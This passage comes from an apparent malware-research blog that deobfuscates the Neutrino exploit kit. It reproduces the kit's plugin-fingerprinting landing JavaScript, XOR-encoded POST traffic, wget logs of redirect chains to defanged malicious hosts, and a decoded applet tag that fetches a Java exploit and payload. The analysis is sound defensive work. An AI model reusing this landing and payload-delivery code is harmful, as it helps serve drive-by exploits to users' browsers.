                    this.should_Insert_Query(2) && (2 > c.OTF && (c.OTF = 2), e[2] = b.isIE ? b.DOM.insert("applet", ["alt", f].concat(g).concat(h), ["codebase",
 a].concat(j), f, c) : b.DOM.insert("applet", ["codebase", a, "alt", f].concat(g).concat(h), [].concat(j), f, c), d[2] = [0, 0], this.query(2));
                    this.should_Insert_Query(3) && (2 > c.OTF && (c.OTF = 2), e[3] = b.isIE ? b.DOM.insert("object", ["classid", c.classID], ["codebase", a].conc
at(h).concat(j), f, c) : b.DOM.insert(), d[3] = [0, 0], this.query(3));
                    !this.DummyObjTagHTML && !this.isDisabled.ObjectTag() && (this.DummyObjTagHTML = b.DOM.insert("object", [], [], f));
                    this.DummySpanTagHTML || (this.DummySpanTagHTML = b.DOM.insert("", [], [], f));
                    return this.getResult()
                }
            },
            zz: 0
        },
        flash: {
            mimeType: "application/x-shockwave-flash",
            progID: "ShockwaveFlash.ShockwaveFlash",
            classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
            getVersion: function() {
                var a = function(a) {
                        return !a ? null : (a = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(a)) ? a[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
                    },
                    b = this.$,
                    c, d = null,
                    e = null,
                    f = null;
                if (b.isIE) {
                    for (c = 15; 2 < c; c--) if (e = b.getAXO(this.progID + "." + c)) {
                        f = c.toString();
                        break
                    }
                    e || (e = b.getAXO(this.progID));
                    if ("6" == f) try {
                        e.AllowScriptAccess = "always"
                    } catch (g) {
                        return "6,0,21,0"
                    }
                    try {
                        d = a(e.GetVariable("$version"))
                    } catch (h) {}!d && f && (d = f)
                } else {
                    if (e = b.hasMimeType(this.mimeType)) {
                        c = b.DOM.insert("object", ["type", this.mimeType], [], "", this).obj();
                        try {
                            d = b.getNum(c.GetVariable("$version"))
                        } catch (j) {}
                    }
                    d || ((c = e ? e.enabledPlugin : null) && c.description && (d = a(c.description)), d && (d = b.getPluginFileVersion(c, d)))
                }
                this.installed = d ? 1 : -1;
                this.version = b.formatNum(d);
                return !0
            }
        },
        shockwave: {
            mimeType: "application/x-director",
            progID: "SWCtl.SWCtl",
            classID: "clsid:166B1BCA-3F9C-11CF-8075-444553540000",
            getVersion: function() {
                var a = null,
                    b = null,
                    c = this.$;
                if (c.isIE) {
                    try {
                        b = c.getAXO(this.progID).ShockwaveVersion("")
                    } catch (d) {}
                    c.isString(b) && 0 < b.length ? a = c.getNum(b) : c.getAXO(this.progID + ".8") ? a = "8" : c.getAXO(this.progID + ".7") ? a = "7" : c.getAXO(
this.progID + ".1") && (a = "6")
                } else(b = c.findNavPlugin("Shockwave\\s*for\\s*Director")) && (b.description && c.hasMimeType(this.mimeType)) && (a = c.getNum(b.description)), 
a && (a = c.getPluginFileVersion(b, a));
                this.installed = a ? 1 : -1;
                this.version = c.formatNum(a)
            }
        },
        windowsmediaplayer: {
            mimeType: ["application/x-mplayer2", "application/asx", "application/x-ms-wmp"],
            navPluginObj: null,
            progID: "wmplayer.ocx",
            classID: "clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6",
            INSTALLED: {
                dfault: null,
                inputMime: {}
            },
            getVersion: function(a, b) {
                var c = this.$,
                    d, e = null,
                    f = null,
                    g = this.mimeType;
                this.installed = -1;
                c.isString(b) ? (b = b.replace(/\s/g, "")) && (g = b) : b = null;
                if (b) {
                    if (e = this.INSTALLED.inputMime[b], c.isDefined(e)) {
                        this.installed = e;
                        return
                    }
                } else if (e = this.INSTALLED.dfault, null !== e) {
                    this.installed = e;
                    return
                }
                if (c.isIE) e = c.getAXO(this.progID), f = c.getPROP(e, "versionInfo") || f, this.installed = e && f ? 1 : e ? 0 : -1;
                else {
                    if (20 > c.OS && 3 <= c.OS) {
                        this.installed = -1;
                        return
                    }
                    null === this.getVersionDone ? (this.getVersionDone = 0, e = c.getMimeEnabledPlugin(this.mimeType, "Windows\\s*Media\\s*Player.*Plug-?in|Flip
4Mac.*Windows\\s*Media.*Plug-?in", "Totem|VLC|RealPlayer"), b || (d = e), !e && c.hasMimeType(this.mimeType) && (e = c.findNavPlugin("Windows\\s*Media\\s*Player.
*Plug-?in|Flip4Mac.*Windows\\s*Media.*Plug-?in", 0, "Totem|VLC|RealPlayer")), e && (this.navPluginObj = e, e = (e = (e = c.isGecko && 0 > c.compareNums(c.verGeck
o, c.formatNum("1.8"))) || c.isOpera && 10 > c.verOpera) || c.isChrome, !e && c.getMimeEnabledPlugin(this.mimeType[2], "Windows\\s*Media\\s*Player.*Firefox.*Plug
-?in", "Totem|VLC|RealPlayer") && (f = c.getPROP(c.DOM.insert("object", ["type", this.mimeType[2], "data", ""], ["src", ""], "", this).obj(), "versionInfo") || f
))) : f = this.version;
                    c.isDefined(d) || (d = c.getMimeEnabledPlugin(g, "Windows\\s*Media\\s*Player.*Plug-?in|Flip4Mac.*Windows\\s*Media.*Plug-?in", "Totem|VLC|Real
Player"));
                    this.installed = d && f ? 1 : d ? 0 : this.navPluginObj ? -0.2 : -1
                }
                this.version || (this.version = c.formatNum(f));
                b ? this.INSTALLED.inputMime[b] = this.installed : this.INSTALLED.dfault = this.installed
            }
        },
        silverlight: {
            mimeType: "application/x-silverlight",
            progID: "AgControl.AgControl",
            digits: [20, 20, 9, 12, 31],
            getVersion: function() {
                var a = this.$,
                    b = null,
                    c = null,
                    c = null,
                    d = !0,
                    e = [1, 0, 1, 1, 1],
                    f = [1, 0, 1, 1, 1],
                    g = function(a) {
                        return (10 > a ? "0" : "") + a.toString()
                    },
                    h = function(a, b, c, d, e, f) {
                        try {
                            return a.IsVersionSupported(b + "." + c + "." + d + g(e) + g(f) + ".0")
                        } catch (h) {}
                        return !1
                    };
                if (a.isIE) {
                    var c = a.getAXO(this.progID),
                        j;
                    if (c && h(c, e[0], e[1], e[2], e[3], e[4])) {
                        for (e = 0; e < this.digits.length; e++) {
                            j = f[e];
                            for (j += 0 == e ? 0 : 1; j <= this.digits[e]; j++) if (h(c, 0 == e ? j : f[0], 1 == e ? j : f[1], 2 == e ? j : f[2], 3 == e ? j : f[
3], 4 == e ? j : f[4])) d = !0, f[e] = j;
                            else break;
                            if (!d) break
                        }
                        d && (b = f[0] + "." + f[1] + "." + f[2] + g(f[3]) + g(f[4]) + ".0")
                    }
                } else a.hasMimeType(this.mimeType) && (f = a.isGecko && 0 >= a.compareNums(a.verGecko, a.formatNum("1.6")), a.isGecko && f && (d = !1), (c = a.f
indNavPlugin("Silverlight.*Plug-?in", 0)) && c.description && (b = a.formatNum(c.description)), b && (f = b.split(a.splitNumRegx), 30226 <= parseInt(f[2], 10) &&
 2 > parseInt(f[0], 10) && (f[0] = "2"), b = f.join(",")));
                this.installed = c && d && b ? 1 : c && d ? 0 : c ? -0.2 : -1;
                this.version = a.formatNum(b)
            }
        },
        vlc: {
            mimeType: "application/x-vlc-plugin",
            progID: "VideoLAN.VLCPlugin",
            classID: "clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",
            compareNums: function(a, b) {
                var c = this.$,
                    d = a.split(c.splitNumRegx),
                    c = b.split(c.splitNumRegx),
                    e, f, g, h, j;
                for (e = 0; e < Math.min(d.length, c.length); e++) {
                    /([\d]+)([a-z]?)/.test(d[e]);
                    f = parseInt(RegExp.$1, 10);
                    h = 2 == e && 0 < RegExp.$2.length ? RegExp.$2.charCodeAt(0) : -1;
                    /([\d]+)([a-z]?)/.test(c[e]);
                    g = parseInt(RegExp.$1, 10);
                    j = 2 == e && 0 < RegExp.$2.length ? RegExp.$2.charCodeAt(0) : -1;
                    if (f != g) return f > g ? 1 : -1;
                    if (2 == e && h != j) return h > j ? 1 : -1
                }
                return 0
            },
            getVersion: function() {
                var a = this.$,
                    b, c = null;
                a.isIE ? ((b = a.getAXO(this.progID)) && (c = a.getNum(a.getPROP(b, "VersionInfo"), "[\\d][\\d\\.]*[a-z]*")), this.installed = c ? 1 : b ? 0 : -1
) : (a.hasMimeType(this.mimeType) && (b = a.findNavPlugin("VLC.*Plug-?in", 0, "Totem")) && b.description && (c = a.getNum(b.description, "[\\d][\\d\\.]*[a-z]*"))
, this.installed = c ? 1 : -1);
                this.version = a.formatNum(c)
            }
        },
        adobereader: {
            mimeType: "application/pdf",
            navPluginObj: null,
            progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
            classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
            INSTALLED: {},
            pluginHasMimeType: function(a, b, c) {
                for (var d in a) if (a[d] && a[d].type && a[d].type == b) return 1;
                return this.$.getMimeEnabledPlugin(b, c) ? 1 : 0
            },
            getVersion: function(a, b) {
                var c = this.$,
                    d, e, f, g = null,
                    h = null,
                    j = this.mimeType;
                c.isString(b) ? (b = b.replace(/\s/g, "")) && (j = b) : b = null;
                if (c.isDefined(this.INSTALLED[j])) this.installed = this.INSTALLED[j];
                else {
                    if (c.isIE) {
                        g = c.getAXO(this.progID[0]) || c.getAXO(this.progID[1]);
                        f = /=\s*([\d\.]+)/g;
                        try {
                            d = (g || c.DOM.insert("object", ["classid", this.classID], ["src", ""], "", this).obj()).GetVersions();
                            for (e = 0; 5 > e; e++) if (f.test(d) && (!h || RegExp.$1 > h)) h = RegExp.$1
                        } catch (k) {}
                        this.installed = h ? 1 : g ? 0 : -1
                    } else 0 !== this.getVersionDone ? (this.getVersionDone = 0, g = c.getMimeEnabledPlugin(this.mimeType, "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*
Plug-?in|Adobe.*Reader.*Plug-?in"), b || (f = g), !g && c.hasMimeType(this.mimeType) && (g = c.findNavPlugin("Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe
.*Reader.*Plug-?in", 0)), g && (this.navPluginObj = g, h = c.getNum(g.description) || c.getNum(g.name), h = c.getPluginFileVersion(g, h), !h && 1 == c.OS && (thi
s.pluginHasMimeType(g, "application/vnd.adobe.pdfxml", "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in") ? h = "9" : this.pluginHasMimeTyp
e(g, "application/vnd.adobe.x-mars", "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in") && (h = "8")))) : h = this.version, c.isDefined(f) 
|| (f = c.getMimeEnabledPlugin(j, "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in")), this.installed = f && h ? 1 : f ? 0 : this.navPlugin
Obj ? -0.2 : -1;
                    this.version || (this.version = c.formatNum(h));
                    this.INSTALLED[j] = this.installed
                }
            }
        },
        realplayer: {
            mimeType: ["audio/x-pn-realaudio-plugin"],
            progID: ["rmocx.RealPlayer G2 Control", "rmocx.RealPlayer G2 Control.1", "RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)", "RealVideo.RealVideo(t
m) ActiveX Control (32-bit)", "RealPlayer"],
            classID: "clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA",
            INSTALLED: {},
            q1: [
                [11, 0, 0],
                [999],
                [663],
                [663],
                [663],
                [660],
                [468],
                [468],
                [468],
                [468],
                [468],
                [468],
                [431],
                [431],
                [431],
                [372],
                [180],
                [180],
                [172],
                [172],
                [167],
                [114],
                [0]
            ],
            q3: [
                [6, 0],
                [12, 99],
                [12, 69],
                [12, 69],
                [12, 69],
                [12, 69],
                [12, 69],
                [12, 69],
                [12, 69],
                [12, 69],
                [12, 69],
                [12, 69],
                [12, 46],
                [12, 46],
                [12, 46],
                [11, 3006],
                [11, 2806],
                [11, 2806],
                [11, 2804],
                [11, 2804],
                [11, 2799],
                [11, 2749],
                [11, 2700]
            ],
            compare: function(a, b) {
                var c, d = a.length,
                    e = b.length,
                    f, g;
                for (c = 0; c < Math.max(d, e); c++) {
                    f = c < d ? a[c] : 0;
                    g = c < e ? b[c] : 0;
                    if (f > g) return 1;
                    if (f < g) return -1
                }
                return 0
            },
            convertNum: function(a, b, c) {
                var d = this.$,
                    e;
                if (!a || !(e = d.formatNum(a))) return null;
                e = e.split(d.splitNumRegx);
                for (a = 0; a < e.length; a++) e[a] = parseInt(e[a], 10);
                if (0 != this.compare(e.slice(0, Math.min(b[0].length, e.length)), b[0])) return null;
                e = e.length > b[0].length ? e.slice(b[0].length) : [];
                if (0 < this.compare(e, b[1]) || 0 > this.compare(e, b[b.length - 1])) return null;
                for (a = b.length - 1; 1 <= a && 1 != a && !(0 == this.compare(b[a], e) && 0 == this.compare(b[a], b[a - 1])) && !(0 <= this.compare(e, b[a]) && 
0 > this.compare(e, b[a - 1])); a--);
                return c[0].join(".") + "." + c[a].join(".")
            },
            getVersion: function(a, b) {
                var c = null,
                    d = 0,
                    e = 0,
                    f = this.$,
                    g, h = this.mimeType[0];
                f.isString(b) ? (b = b.replace(/\s/g, "")) && (h = b) : b = null;
                if (f.isDefined(this.INSTALLED[h])) this.installed = this.INSTALLED[h];
                else {
                    if (f.isIE) {
                        for (d = 0; d < this.progID.length; d++) if (g = f.getAXO(this.progID[d])) try {
                            c = f.getNum(g.GetVersionInfo());
                            break
                        } catch (j) {}
                        this.installed = c ? 1 : -1
                    } else {
                        g = f.hasMimeType(this.mimeType);
                        var k = f.findNavPlugin("RealPlayer.*Plug-?in", 0);
                        g && k && (d = 1, e = b ? f.getMimeEnabledPlugin(b, "RealPlayer.*Plug-?in") ? 1 : 0 : 1);
                        if (0 !== this.getVersionDone) {
                            if (this.getVersionDone = 0, g) {
                                var k = 1,
                                    l = null,
                                    m = null;
                                (g = f.hasMimeType("application/vnd.rn-realplayer-javascript")) && (l = f.formatNum(f.getNum(g.enabledPlugin.description)));
                                1 == f.OS && l && (g = l.split(f.splitNumRegx), m = !0, 0 > this.compare(g, [6, 0, 12, 200]) ? m = !1 : 0 >= this.compare(g, [6, 
0, 12, 1739]) && 0 <= this.compare(g, [6, 0, 12, 857]) && (m = !1));
                                !1 === m && (k = 0);
                                2 >= f.OS ? (f.isGecko && 0 > f.compareNums(f.verGecko, f.formatNum("1,8")) && (k = 0), f.isChrome && (k = 0), f.isOpera && 10 > 
f.verOpera && (k = 0)) : k = 0;
                                if (k) {
                                    g = f.DOM.insert("object", ["type", this.mimeType[0]], "src  autostart false imagestatus false controls stopbutton".split(" "
), "", this).obj();
                                    try {
                                        c = f.getNum(g.GetVersionInfo())
                                    } catch (n) {}
                                    f.DOM.setStyle(g, ["display", "none"])
                                }!c && (l && !1 === m) && (c = (g = this.convertNum(l, this.q3, this.q1)) ? g : l)
                            }
                        } else c = this.version;
                        this.installed = d && e && c ? 1 : d && e ? 0 : d ? -0.2 : -1
                    }
                    this.version || (this.version = f.formatNum(c));
                    this.INSTALLED[h] = this.installed
                }
            }
        },
        zz: 0
    }
};
PluginDetect.initScript();

I have just split the output into two to make it more clear. Above is the plugin detect version 0.8.0. Which we know from earlier EK adwntures like BlackHole. Below is the the rest of the normal landing for Neutrino.
function req(a, b, c, f, k) {
    var l = PluginDetect.getVersion,
        d = [],
        e = [{
            adobe_reader: "AdobeReader"
        }, {
            java: "Java"
        }, {
            flash: "Flash"
        }, {
            quick_time: "QuickTime"
        }, {
            real_player: "RealPlayer"
        }, {
            shockwave: "Shockwave"
        }, {
            silver_light: "Silverlight"
        }, {
            vlc: "VLC"
        }, {
            wmp: "WMP"
        }];
    d.push("hid:::" + a);
    for (var g in e) for (var h in e[g]) d.push(h + ":::" + l(e[g][h]));
    d.push("office:::" + office_ver());
    a = {};
    a[f] = c;
    a[k] = encodeURIComponent(xor(d.join(";;;"), c));
    $.post(b, a, function(a, b) {
        $("body").append(xor(decodeURIComponent(a), c))
    })
}

function office_ver() {
    var a = 0,
        b = 0;
    try {
        a = new ActiveXObject("SharePoint.OpenDocuments.4")
    } catch (c) {}
    try {
        b = new ActiveXObject("SharePoint.OpenDocuments.3")
    } catch (f) {}
    return "object" == typeof a && "object" == typeof b ? "2010" : "number" == typeof a && "object" == typeof b ? "2007" : null
}; < /script >


Not much of a change, but plugin detect is included and of course the extra step with the HTTP POST. And now documented. Look at my other Neutrino EK posts for details of what is not covered in detail here. Happy Neutrino EK deobfuscation.

Tuesday, September 17, 2013

Neutrino EK - IE exploit analysis

More Neutrino stuff on the menu. Hopefully you find it better than spam and are not tired of my Neutrino adventures. As I have just come back from a week off-line I spotted a tweet



Just over a week ago I sort of concluded that Neutrion only had Java exploits. But here someone prove me wrong and I must admit I had only checked with the "obvious" stuff that neutrino uses Plugin Detect for (Or the kit just evoled just after my writing?). So time to look once again into Neutrino and one of it's mysteries.

 Get the landing


My referrer from two weeks ago was dead. The TDS was still up and working though so I had to find a valid referrer. Urlquery to the rescue. I found a Neutrino reference there which was still alive so here we go:

--2013-09-17--  hxxp: //ppbenicarlo.com/files
Resolving ppbenicarlo.com... 5.56.22.5
Connecting to ppbenicarlo.com|5.56.22.5|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: hxxp: //ppbenicarlo.com/files/ [following]
--2013-09-17 --  hxxp: //ppbenicarlo.com/files/
Connecting to ppbenicarlo.com|5.56.22.5|:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: hxxp: //yojhoorbghw.is-uberleet.com:8000/horsihcmtbmf?gpnhe=3251988 [following]
--2013-09-17--  hxxp: //yojhoorbghw.is-uberleet.com:8000/horsihcmtbmf?gpnhe=3251988
Resolving yojhoorbghw.is-uberleet.com... 5.254.101.114
Connecting to yojhoorbghw.is-uberleet.com|5.254.101.114|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `pane3'

     0K .                                                      98.7M=0s

2013-09-17 (98.7 MB/s) - `pane3' saved [1620]

Neutrino landing incoming...

<html>
<head>
 
 
 <script src="jquery.min.js"></script> 
 
 
 <script type="text/javascript" src="index.js"></script>
 
</head>
<body>
 <script type="text/javascript">
  function req(a, b, c, d, e) {
   var m = PluginDetect.getVersion,
    n = decodeURIComponent,
    p = encodeURIComponent,
    h = xor,
    g = [{
     adobe_reader: "AdobeReader"
    }, {
     java: "Java"
    }, {
     flash: "Flash"
    }, {
     quick_time: "QuickTime"
    }, {
     real_player: "RealPlayer"
    }, {
     shockwave: "Shockwave"
    }, {
     silver_light: "Silverlight"
    }, {
     vlc: "VLC"
    }, {
     wmp: "WMP"
    }],
    f = [];
   f.push("hid:::" + a);
   for (var k in g)
    for (var l in g[k]) f.push(l + ":::" + m(g[k][l]));
   f.push("office:::" + office_ver());
   a = {};
   a[d] = c;
   a[e] = p(h(f.join(";;;"), c));
   $.post(b, a, function (a, b) {
    $("body").append(h(n(a), c))
   })
  }

  function xor(a, b) {
   for (var c = "", d = O, e = O, d = O; d < a.length; d++) e = Math.floor(d % b.length), c += String.fromCharCode(a.charCodeAt(d) ^ b.charCodeAt(e));
   return c
  }

  function office_ver() {
   var a = O,
    b = O;
   try {
    a = new ActiveXObject("SharePoint.OpenDocuments.4")
   } catch (c) {}
   try {
    b = new ActiveXObject("SharePoint.OpenDocuments.3")
   } catch (d) {}
   return "object" == typeof a && "object" == typeof b ? "2O1O" : "number" == typeof a && "object" == typeof b ? "2OO7" : null
  };  


  $(document).ready(function () {
   req("52384269aaa2cc6eOa355f6b", "nwsshubk", "mxipcidv", "shjhrkhksgfqhsp", "dqxjtgnonkgfrb")
  });
 </script>
 
 
</body>
</html>

Std Neutrino stuff this...

Get the exploit URL


As we want to look into the reported IE exploit from Neutrino we want to send in nothing from the plugin detect phase:


hid:::52384269aaa2cc6e0a355f6b;;;adobe_reader:::null;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null

Post that into the server and see what we get (For details on Neutrino HTTP posts check my earlier analysis)

q%60y_%0F%0B%04X%08%13%17%0B%18P_%01%04%17%19%5EYB%01%06%1A%0B%06%0B%04%0F%1F%01%07M%17%5B%18%1A%0C%02%0F%0C%01%02C%1B%06%1
DYQTF%5DW%0C%1C%06%1D%0D%0F%09%1A%07%15%02%0ACV%04%1CTW%04%06CHQ%11%07%16%1DD%18%0C%15%0CMD%10%17%11%03%11%1FWC%1F%05%1A%18%1DTW%1
9%0B%14%17%1E%19%04W%5DUK%10%02%0A%04Nj%60m%7Cdq%60L%10%0A%16%1F%1D%0CWzj%60m%7F%09%17%0A%05%0E%0C%0A%02C%1E%06%02%0E%1A%3FQ%0A%17N-M
%1A%11%14%11%1DXJRn%7FdqU_%10%0A%16%1F%1D%0CWzj%60

As always obfuscated, lets decode:


<form action='hxxp: //yojhoorbghw.is-uberleet.com:8000/eletiydbneac' id='go'><input name='ysgniv' value='zbpasam'></form>   
   <script>
    document.forms['go'].submit();
   </script>

Sweet stuff another post is automagically performed. Lets follow and see what happens.



--2013-09-17 --  hxxp: //yojhoorbghw.is-uberleet.com:8000/eletiydbneac
Resolving yojhoorbghw.is-uberleet.com... 5.254.101.114
Connecting to yojhoorbghw.is-uberleet.com|5.254.101.114|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `ies3'

     0K .......... ...                                          193K=0.07s

2013-09-17 (193 KB/s) - `ies3' saved [13883]

What did we get?



Lots of Javascript. Not just any Javascript. Exploit code that looks to me to be exploiting  CVE-2013-2551. Thanks to @Rapid7 for reference within metasploit. Picture showing function lea() AKA exploit()

Epilogue


So the Neutrino EK has shown that it is more potent. Lets keep our eyes open and see if more exploits will be incorporated in the near future.

Happy Neutrino EK IE exploits harvesting :)

Tuesday, September 3, 2013

Neutrino Exploit Kit - Not so exploity after all

Finally it is time to go all the way and take a real close look at what the Neutrino exploit kit is all about. I have tried a couple of times before, but run out of time and energy before I could finish the task. And as aleways it is great fun analyzing these things.

It could be an idea to take a look at my earlier posts on Neutrino, if you are new to this kit, as I might take some information for granted.
earlier posts:
Neutrino exploit kit landing demystified and Neutrino exploit kit analysis - where we look into the landing page and how the plugin detection is done.

0. Prologue

The kit has changed and evolved a bit over the past 6 months, but the main parts stay the same. It is built on the same landing with minor changes, the plugin detect  are pretty much the same, new exploits have been integrated and now even a 0-Day exploit for Java 1.6.0_45 have been incorporated. The xor schemes have not changed at all.
What drove me to pick up and analyse this kit again was the possybility for uniq exploits as the kit ships versions on Java, PDF, SWF, VLC, WMP, Silverlight, Office and what not as part of the plugin detection process. Well what did we get? read on and you will find out...

As I think this will be my reference post on Neutrino I will try to cover most of the bases. And beware we will use some previously written python code, so don't be confused if you find a link to some nice Monty Python stuff too. Hey lets start with the confusion "Confuse a cat LMTD".

Special thanks to @malwaresigs for poking my curiosity again with this tweet
and also for providing me with the live kit.

1. How do we get to the landing

As always with xploit kits one of the hardest parts is actually getting to the landing page. With Neutrino we will have to have a referer. Without it we will be seeing 404's a lot. And that is not something we like when we are trying to figure out what a piece of evil code is up to.
A lot of different gates have been published. But now it seem like the guys behind it have gone to simplisity. No variables are used to bring info to the gate:



--2013-09-03 --  hxxp: //ppbenicarlo.com/files
Resolving ppbenicarlo.com... 5.56.22.5
Connecting to ppbenicarlo.com|5.56.22.5|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: hxxp: //ppbenicarlo.com/files/ [following]
--2013-09-03 --  http://ppbenicarlo.com/files/
Connecting to ppbenicarlo.com|5.56.22.5|:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/hvvuhbecpodgel?gheouwdi=3251988 [following]
--2013-09-03 --  hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/hvvuhbecpodgel?gheouwdi=3251988
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `redir-16'

     0K .                                                       147M=0s

2013-09-03 05:17:51 (147 MB/s) - `redir-16' saved [2016]

So the gate is visited twice. First it redirects to self, then the actual redirect to the landing.

2. The landing explained


 < script type = "text/javascript" > 
$(document).ready(function() {
     req("5225a941aaa2cc9a092b4f1f", "nyqxmafwrhewro", "jvimdr", "suuwfh", "dicktmgczjtshk") //@malforsec hid, post url, xor key, paramname xor, paramname post
 });

 function req(a, c, e, b, f) { //@malforsec change the order of the input, to confuse?
     var h = PluginDetect.getVersion,
         d = [{
             adobe_reader: "AdobeReader"
         }, {
             java: "Java"
         }, {
             flash: "Flash"
         }, {
             quick_time: "QuickTime"
         }, {
             real_player: "RealPlayer"
         }, {
             shockwave: "Shockwave"
         }, {
             silver_light: "Silverlight"
         }, {
             vlc: "VLC"
         }, {
             wmp: "WMP"
         }],
         g = [];
     g.push("hid:::" + a); //@malforsec add host id sepaator :::
     for (var k in d) for (var l in d[k]) g.push(l + ":::" + h(d[k][l])); //@malforsec add the plugins separator :::
     g.push("office:::" + office_ver());
     a = xor;
     h = encodeURIComponent;
     d = {};
     d[b] = e;
     d[f] = h(a(g.join(";;;"), e)); //@malforsec join the array separate with ;;;, then xor, then urlencode and HTTP POST
     $.post(c, d, function(a, c) {
         var b = decodeURIComponent,
             d = xor;
         $("body").append(d(b(a), e)) //@malforsec add to the html page, run it before it is fully loaded d(b(a), e) -> xor(urldecode(answer from POST))
     })
 }
 function xor(a, c) {
     for (var e = "", b = 0, f = 0, b = 0; b < a.length; b++) f = Math.floor(b % c.length), e += String.fromCharCode(a.charCodeAt(b) ^ c.charCodeAt(f));
     return e
 }
 function office_ver() {
     var a = 0,
         c = 0;
     try {
         a = new ActiveXObject("SharePoint.OpenDocuments.4")
     } catch (e) {}
     try {
         c = new ActiveXObject("SharePoint.OpenDocuments.3")
     } catch (b) {}
     return "object" == typeof a && "object" == typeof c ? "2010" : "number" == typeof a && "object" == typeof c ? "2007" : null
 }; < /script>

3. So we have been thoroughly searched, what now

As we now know the detected plugins are shipped to the EK engine to prepare a fitting exploit. But what exploits can we be struck by? First lets take a look at the clear text format of the HTTP POST.


id:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::1,6,0,45;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null

Pretty neat with name and value pairs separated with ::: between the name and values. And the ;;; to separate the name/value pairs. Easy to parse at the other end of the intertubes. But Neutrino do not send those in clear text. XOR fun and urlencoding is utilized. Can we get the exploits out?

4. Fetching the exploits

When fetching exploits we should not drop a truckload on the intertubes, that could just clog it up. So lets start out really easy, encoding the POST from aboce and just pretend to have Java 1.6.0_45 installed. Which should give us the Java 0-Day from back.
Encoded HTTP POST:


suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPLXAR%255EZZ%255DX_IQ%2510%2505%250C%2517%251APLS%2503%2511%251E%2506MRV%2515%2507%2503%2515%25022%2510%251B%2507%2513SW%255E%251C%251F%251A%2505V_I%2518%2513%2508%2501%253B%2502%2506%2517%2510%2508%2516HPL%2507%2518%2508%251EQMR%251E%250C%251D%2509%251D%251E%250C%2512%2517PLS%2503%2511%251E%2506MRV%2517%251B%2506%2500%250C%251F%253B%251E%2503%2511%2501%2519%255EHP%2518%251C%2501%2508IQM%251F%2501%2507HPL%2507%2518%2508%251EQMR%251A%2509%2502PLS%2503%2511%251E%2506MRV%250B%2514%250C%251F%250A%2508%255EHP%2518%251C%2501%2508

Now we are ready. Lets fire it and see what happens. We get this back:

V%17%19%1D%08%17%1EV%08%1F%07%1A%03%0CPC%1A%1E%02%19WK%5D%08%01%05%1A%15%0A%1E%14%03%1F%5C%0E%18%1A%09%0B%18%05X%0A%02%09HRFY%5DK%17%12%18%18%06%12%
04%0B%11%0F%09%0CM%13%05%1F%15%1C%1F%06%1D%1C%08%10O%02%15%1A%07%11%1A%05QI%0E%0B%16%0FKN%26%16%17MV%1E%04%06%02KN%5CTUJ%1E%0C%04%03%1A%1EKN%5CTUT%7C%6
0dm%7Bc%7FU%1D%05%0B%1BI%03%05%1F%0FKN%08%1C%17%09QI%1B%05%1E%1F%13TJ%05%3A8F%0A%29%0B%04%26D%23%5E%06%3A%0E%0E%0C%256%1B%0B%18%23%06%28%1F8%03%0A_6%04
%0B%1BQ%18%3D%40S%02%26%07%03%05%272%28%1B%01%1F%24%19%08%14%0B%08%1B%5C%1E4A%06%1E0%5E%3E%40%0F%3E3%074%25%02%1C%0A_%14C%0B1QPCL%60%7F%60dm%7BcJ%19%0C
%16%13%07V%07%0C%09%17WQ%11%06%01%0BMV%1F%0C%08%07%0FKN%0A%0E%1F%07QWgm%7Bc%7F%60QK%13%1A%06%05%08%10L

Yeah, XORED and urlencoded too. As expected from the JavaScript code from the landing. Lets decode it.

<applet archive='hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/exnqkvvagfdh?ysvxxmlkuet=hcsjuho' code='Kre' width='10' height='10'>
      <param name='exec' value='aHR0cDovL2J3bHdxeHRianJkLmRuc2Rvam8uY29tOjgwMDAvemNoampybm5sP3lhY3Z2eHZjPWhjc2p1
aG8='>
      <param name='xkey' value='gjmm'>
     </applet>


That looks good. Nice applet tags. Lets go and fetch the JAR and binary:
Decoded binary URL:

hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho

--2013-09-03--  hxxp:// bwlwqxtbjrd.dnsdojo.com:8000/exnqkvvagfdh?ysvxxmlkuet=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
